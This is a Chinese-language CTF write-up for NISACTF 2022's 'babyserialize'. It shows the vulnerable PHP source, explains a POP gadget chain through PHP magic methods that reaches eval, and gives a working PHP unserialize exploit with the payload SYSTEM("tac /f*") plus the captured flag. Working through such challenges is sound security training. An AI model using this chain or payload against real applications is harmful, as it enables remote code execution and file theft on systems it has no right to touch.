非常典型的一道POP链构造
题目源码
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
解题思路
(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。
(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
(3)__toString反推到__set
在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
(4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup
整体流程思路 :
Class NISA -> __invoke()
Class Ilovetxw -> __toString()
Class four -> __set()
Class Ilovetxw -> __call()
Class TianXiWei -> __wakeup()
由于上面的思路是倒推出的,所以编写POC的时候,要反着编写
$a = new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));
POC
<?php
class NISA{
public $fun;
public $txw4ever='SYSTEM("tac /f*");';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));
传参得到flag
NSSCTF{3ddbc70a-19d9-4e09-b995-e43809e5b926}
标签:__,function,huang,ext,babyserialize,2022,new,NISACTF,public
From: https://www.cnblogs.com/Tzyyyyy/p/17614029.html